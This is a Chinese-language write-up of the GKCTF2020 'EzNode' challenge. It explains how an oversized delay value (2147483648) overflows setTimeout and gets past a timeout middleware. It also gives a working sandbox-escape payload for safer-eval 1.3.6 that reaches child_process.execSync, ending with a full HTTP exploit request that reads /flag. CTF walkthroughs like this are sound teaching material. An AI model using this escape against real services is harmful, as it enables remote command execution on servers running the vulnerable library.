GKCTF2020-EZ三剑客-EzNode

1. 首页

查看版本:

1
2
3
4
5
6
7
8
9
10
11
{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

F12查看网页源码,注意到:

1
2
3
4
5
6
7
8
9
10
11
<script>
document.getElementById('submit').addEventListener('click', function () {
const e = document.getElementById('delay').value;
fetch(`/eval?delay=${document.getElementById('e').value}`, {
body: new URLSearchParams({ e }),
method: 'POST'
}).then(v => v.text()).then(v => {
document.getElementById('res').innerHTML += e + '=' + v + '<br/>'
});
});
</script>

2. 思路

一般对于这种扫描目录啥的都没有用的,可能就是这个为某一个框架,并且该框架有对某一特定版本出现的漏洞。

针对这个,看到敏感信息:

1
2
3
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

"safer-eval": "1.3.6"

搜一下该1.3.6版本,发现存在该版本下的safe-eval沙箱逃逸

https://github.com/commenthol/safer-eval/issues/10

exp:

1
2
3
4
5
6
7
8
9
const saferEval = require("./src/index");

const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

payload:

1
2
3
4
5
(function () {

const process = clearImmediate.constructor("return process;")();

return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

3. 代码审计

无关代码,分别对应页面的源码链接,版本链接和首页。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

重要信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app.use((req, res, next) => {
if (req.path === '/eval') { //如果请求路径是/eval
//会设置一个delay,和你传入的get参数的delay进行比较,取较大的那个,然后setTimeout是延时函数,delay秒后就会执行第一个参数,即next(),否则就会send出timeout。
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));//和delay比较大小,取最大值
}
const t = setTimeout(() => next(), delay); //delay秒后就会执行第一个参数,即next()
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由,所以利用溢出就可以成功绕过timeout;

payload1:

大于2147483647就可以不超时,所以设置为2147483648就可以了(会被settimeout设置为1,这样就满足条件了)

或者:

payload2:

利用int溢出的方法来绕过,利用科学计数法构造delay=99999999e999

沙箱逃逸:

1
2
3
4
5
6
7
8
9
10
11
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

就是利用上面特地版本漏洞的payload

4. 抓包上传参数

1
2
3
4
5
POST /eval?delay=2147483648 HTTP/1.1

e=(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()